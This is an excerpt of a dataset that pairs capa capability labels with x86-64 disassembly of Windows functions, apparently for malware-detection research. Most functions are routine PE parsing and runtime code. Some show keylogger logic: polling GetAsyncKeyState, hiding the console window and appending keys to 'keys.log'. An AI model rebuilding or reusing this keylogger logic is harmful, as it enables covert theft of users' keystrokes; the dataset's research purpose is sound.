joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001509c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x14001511a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140015111
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140015111
mov rax, qword [rbp - 8]
jmp 0x14001512f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x1400150e4
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x1400253c0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400253e8
mov eax, 0
jmp 0x140025436
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140025411
mov eax, 0
jmp 0x140025436
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140025431
mov eax, 0
jmp 0x140025436
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x14002543c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x1400254ba
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x1400254b1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x1400254b1
mov rax, qword [rbp - 8]
jmp 0x1400254cf
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140025484
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x14000b770]
mov dword [rax], 1
mov rax, qword [0x14000b780]
mov dword [rax], 1
mov rax, qword [0x14000b790]
mov dword [rax], 1
mov rax, qword [0x14000b720]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x140001623
Capabilities:
Log keystrokes via polling

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 4]
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
shr ax, 0xf
mov byte [rbp - 1], al
mov rax, qword [rbp + 0x10]
mov eax, dword [rax]
cmp eax, 2
je 0x14000168c
cmp eax, 2
ja 0x14000169c
test eax, eax
je 0x140001663
cmp eax, 1
je 0x140001675
jmp 0x14000169c
cmp byte [rbp - 1], 0
je 0x140001698
mov rax, qword [rbp + 0x10]
mov dword [rax], 1
jmp 0x140001698
movzx eax, byte [rbp - 1]
xor eax, 1
test al, al
je 0x14000169b
mov rax, qword [rbp + 0x10]
mov dword [rax], 2
jmp 0x14000169b
mov rax, qword [rbp + 0x10]
mov dword [rax], 0
jmp 0x14000169c
nop
jmp 0x14000169c
nop
nop
add rsp, 0x30
pop rbp
ret
Function at 0x140001786
Capabilities:
Hide graphical window

Disassembly:
push rbp
sub rsp, 0x840
lea rbp, [rsp + 0x80]
call sym.__main
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, str.keys.log
mov qword [rbp + 0x7b0], rax
mov dword [rbp + 0x7bc], 0
jmp 0x1400017f8
mov eax, dword [rbp + 0x7bc]
cdqe
mov edx, dword [rbp + 0x7bc]
mov dword [rbp + rax*8 - 0x4c], edx
mov eax, dword [rbp + 0x7bc]
cdqe
mov dword [rbp + rax*8 - 0x50], 0
add dword [rbp + 0x7bc], 1
cmp dword [rbp + 0x7bc], 0xfd
jle 0x1400017cf
mov rax, qword [rbp + 0x7b0]
lea rdx, [0x14000b009]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x7a8], rax
lea rax, [rbp - 0x50]
mov rcx, rax
call dbg.set_all_keys_state
lea rax, [rbp - 0x50]
mov rcx, rax
call dbg.get_key_pressed
mov dword [rbp + 0x7a4], eax
cmp dword [rbp + 0x7a4], 0
je 0x140001887
lea rdx, [rbp - 0x5a]
mov eax, dword [rbp + 0x7a4]
mov ecx, eax
call dbg.set_output_buffer
lea rdx, [rbp - 0x5a]
mov rax, qword [rbp + 0x7a8]
mov r8, rdx
lea rdx, [0x14000b00b]
mov rcx, rax
call dbg.fprintf
mov rax, qword [rbp + 0x7a8]
mov rcx, rax
call sym.fflush
jmp 0x140001821
nop
jmp 0x140001821

Function at 0x140001bf0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x1400028c2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x14000e108]
test eax, eax
je 0x14000295a
lea rax, [0x14000e0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x14000e110]
mov qword [rbp - 8], rax
jmp 0x14000293e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140002932
cmp qword [rbp - 0x10], 0
je 0x140002932
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x1400028f8
lea rax, [0x14000e0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x14000295b
nop
add rsp, 0x30
pop rbp
ret
Function at 0x180714058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1807141df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x180714089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18071406f
add dl, dl
jne 0x180714096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1807140f6
xor eax, eax
add dl, dl
jne 0x1807140a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1807141ad
add dl, dl
jne 0x1807140b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1807140c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1807140d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1807140dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1807140ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x18071407e
mov eax, 1
add dl, dl
jne 0x180714106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180714113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1807140fb
sub eax, ebx
mov ebx, 1
jne 0x18071414c
mov ecx, 1
add dl, dl
jne 0x18071412e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x18071413b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x180714123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18071407e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x180714168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x180714175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x18071415d
cmp eax, 0x7d00
jae 0x18071419b
cmp eax, 0x500
jb 0x180714196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18071407e
cmp eax, 0x7f
ja 0x18071419e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18071407e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1807141d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x18071407e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001550
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbp
push rbx
mov eax, 0x13b0
call fcn.1400073d0
sub rsp, rax
mov esi, r8d
mov edi, edx
mov ebx, ecx
xor r14d, r14d
xor ecx, ecx
call fcn.14000efb0
mov ecx, eax
call fcn.1400105f0
nop
call fcn.140010608
cdqe
imul rcx, rax, 0x10624dd3
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x26
add ecx, edx
imul ecx, ecx, 0x3e8
sub eax, ecx
mov dword [rsp + r14*4 + 0x20], eax
inc r14
cmp r14, 0x64
jne 0x140001580
mov eax, 0x63
xor ecx, ecx
jmp 0x1400015cf
inc rcx
dec rax
cmp ecx, 0x63
je 0x140001652
mov edx, dword [rsp + 0x20]
cmp rcx, 0x62
jne 0x140001600
xor r8d, r8d
test al, 1
je 0x1400015c0
mov r9d, dword [rsp + r8*4 + 0x24]
cmp edx, r9d
jle 0x1400015c0
mov dword [rsp + r8*4 + 0x20], r9d
mov dword [rsp + r8*4 + 0x24], edx
jmp 0x1400015c0
mov r9, rax
and r9, 0xfffffffffffffffe
xor r8d, r8d
jmp 0x140001623
mov dword [rsp + r8*4 + 0x24], r10d
mov dword [rsp + r8*4 + 0x28], edx
add r8, 2
cmp r9, r8
je 0x1400015dc
mov r10d, dword [rsp + r8*4 + 0x24]
cmp edx, r10d
jle 0x140001640
mov dword [rsp + r8*4 + 0x20], r10d
mov dword [rsp + r8*4 + 0x24], edx
jmp 0x140001643
mov edx, r10d
mov r10d, dword [rsp + r8*4 + 0x28]
cmp edx, r10d
jg 0x140001610
mov edx, r10d
jmp 0x14000161a
call fcn.140007ddc
mov dword [rsp + 0x13a4], 0xffffffff
mov dword [rsp + 0x24], eax
mov ecx, 3
nop dword [rax + rax]
mov edx, eax
shr edx, 0x1e
xor edx, eax
imul eax, edx, 0x6c078965
add rax, rcx
add rax, 0xfffffffffffffffe
mov dword [rsp + rcx*4 + 0x1c], eax
cmp rcx, 0x271
je 0x1400016ac
mov edx, eax
shr edx, 0x1e
xor edx, eax
imul eax, edx, 0x6c078965
add eax, ecx
dec eax
mov dword [rsp + rcx*4 + 0x20], eax
add rcx, 2
jmp 0x140001670
mov dword [rsp + 0x20], 0x270
lea r15d, [rdi - 0x80000000]
lea r14d, [rsi - 0x80000000]
sub r14d, r15d
cmp r14d, 0xffffffff
je 0x140001718
lea r12d, [r14 + 1]
lea rcx, [rsp + 0x20]
call fcn.140004b30
mov ecx, eax
imul rcx, r12
cmp r14d, ecx
jb 0x140001712
not r14d
mov eax, r14d
xor edx, edx
div r12d
cmp edx, ecx
jbe 0x140001712
mov ebp, edx
lea r14, [rsp + 0x20]
nop word [rax + rax]
mov rcx, r14
call fcn.140004b30
mov ecx, eax
imul rcx, r12
cmp ebp, ecx
ja 0x140001700
shr rcx, 0x20
jmp 0x140001724
lea rcx, [rsp + 0x20]
call fcn.140004b30
mov ecx, eax
add r15d, ebx
add r15d, ecx
cmp r15d, 0x8007f148
je 0x14000173f
mov ecx, ebx
mov edx, edi
mov r8d, esi
call fcn.140001550
mov eax, 0x7f148
add rsp, 0x13b0
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
Function at 0x140003880
Capabilities:
Read file on windows

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
test r8, r8
jle 0x140003916
mov rsi, r8
mov rdi, rdx
mov rbx, rcx
cmp qword [rcx + 0x68], 0
je 0x14000391d
mov r15, rsi
jmp 0x1400038db
cmp r15, r14
cmovb r14, r15
mov rcx, rdi
mov r8, r14
call fcn.140024fc0
add rdi, r14
sub r15, r14
mov rax, qword [rbx + 0x50]
sub dword [rax], r14d
mov rax, qword [rbx + 0x38]
add qword [rax], r14
test r15, r15
jle 0x14000390e
mov rax, qword [rbx + 0x38]
mov rdx, qword [rax]
test rdx, rdx
je 0x1400038f3
mov rax, qword [rbx + 0x50]
mov r14d, dword [rax]
test r14d, r14d
jg 0x1400038b0
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x14000390e
mov byte [rdi], al
inc rdi
dec r15
test r15, r15
jg 0x1400038db
sub rsi, r15
jmp 0x140003a0a
xor esi, esi
jmp 0x140003a0a
mov rax, qword [rbx + 0x38]
mov rdx, qword [rax]
test rdx, rdx
je 0x140003970
mov rax, qword [rbx + 0x50]
movsxd r15, dword [rax]
test r15, r15
je 0x140003970
cmp r15, rsi
cmovae r15, rsi
mov rcx, rdi
mov r8, r15
call fcn.140024fc0
add rdi, r15
mov r14, rsi
sub r14, r15
mov rax, qword [rbx + 0x50]
sub dword [rax], r15d
mov rax, qword [rbx + 0x38]
movsxd rcx, r15d
add qword [rax], rcx
cmp qword [rbx + 0x80], 0
jne 0x140003981
jmp 0x140003a07
mov r14, rsi
cmp qword [rbx + 0x80], 0
je 0x140003a07
mov rax, qword [rbx + 0x18]
lea rcx, [rbx + 0x70]
cmp qword [rax], rcx
jne 0x1400039b0
mov ecx, dword [rbx + 0x90]
mov rdx, qword [rbx + 0x88]
mov qword [rax], rdx
mov rax, qword [rbx + 0x38]
mov qword [rax], rdx
sub ecx, edx
mov rax, qword [rbx + 0x50]
mov dword [rax], ecx
nop dword [rax]
cmp r14, 0x1000
jb 0x1400039e3
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rdi
call fcn.14000fb18
add rdi, rax
sub r14, rax
cmp rax, 0xfff
je 0x1400039b0
jmp 0x140003a07
test r14, r14
je 0x140003a04
mov r9, qword [rbx + 0x80]
mov edx, 1
mov rcx, rdi
mov r8, r14
call fcn.14000fb18
sub r14, rax
jmp 0x140003a07
xor r14d, r14d
sub rsi, r14
mov rax, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
Function at 0x140008a60
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140008aaa
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140008aaa
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140008aaa
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140008aaa
cmp dword [rcx + 0x84], 0xe
jbe 0x140008aaa
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140008aac
xor al, al
add rsp, 0x28
ret

Function at 0x14000b970
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000bab8

Function at 0x14000bab8
Capabilities:
Parse pe header

Disassembly:
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x14000bab8
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14000bb27
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000bb27
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000bb27
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000bb27
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000bb27
cmp dword [rcx + 0x84], 0xe
jbe 0x14000bb27
cmp dword [rcx + 0xf8], 0
je 0x14000bb27
mov ecx, ebx
call fcn.14000b9f0
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14000bc4c
nop
cmp dword [rbp + 0x20], 0
je 0x14000bb75
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000ba84
int3

Function at 0x1400110d0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400110f8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400110f8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x14001a520
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.14001487c
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x14001a5c1
cmp ebx, dword [rsp + 0x30]
je 0x14001a5ba
test esi, esi
je 0x14001a5ba
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x14001a595
sub r8w, 0x61
cmp r8w, 0x19
ja 0x14001a5a2
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x14001a57f
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x14001a5a6
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x14001a5c3
mov eax, 1
jmp 0x14001a5c3
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14001b538
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.1400073d0
sub rsp, rax
mov rax, qword [0x1400365c0]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.140017b84
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x14001b587
mov rax, rbp
jmp 0x14001b68f
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x38740]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.14001b268
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x38740]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x14001b68b
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14001b68b
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.14001b268
test rax, rax
js 0x14001b68b
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x14001b68b
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x14001b67d
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x14001b67d
cmp byte [rcx], 0xd
jne 0x14001b663
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x14001b672
cmp byte [rcx + 1], 0xa
jne 0x14001b672
inc rcx
jmp 0x14001b672
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x370c0]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x14001b645
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x14001b68f
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.140008d70
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14001bee0
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14001bf10
xor eax, eax
jmp 0x14001bfd3
mov rbp, rbx
cmp word [rax], si
je 0x14001bf35
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14001bf1c
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14001bf18
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14001473c
movsxd r14, eax
test eax, eax
jne 0x14001bf73
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14001bf09
mov rcx, r14
call fcn.14001464c
mov rdi, rax
test rax, rax
jne 0x14001bf8c
xor ecx, ecx
call fcn.140014610
jmp 0x14001bf68
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14001473c
test eax, eax
jne 0x14001bfbd
mov rcx, rdi
call fcn.140014610
jmp 0x14001bfc7
xor ecx, ecx
call fcn.140014610
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14001dc64
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14001dc7a
mov al, 1
jmp 0x14001dcda
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14001dc8b
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14001dcd8
mov ecx, dword [rcx + 0x18]
nop
call fcn.14001c438
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14001dcd8
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14001dcd8
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14001dcd8
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14001dcda
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x14001e610
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x140038740]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x14001e667
cmp word [rdx], r13w
jne 0x14001e667
or byte [rax + rdi*8 + 0x38], cl
jmp 0x14001e66c
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x14001e791
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x14001e7b2
lea r9, [rdx + 2]
cmp cx, r11w
je 0x14001e6a5
mov rdx, r9
mov word [rbx], cx
jmp 0x14001e6cc
cmp r9, r8
jae 0x14001e6dc
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x14001e686
jmp 0x14001e791
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14001e786
cmp dword [rsp + 0x80], esi
je 0x14001e786
lea r8, [0x140038740]
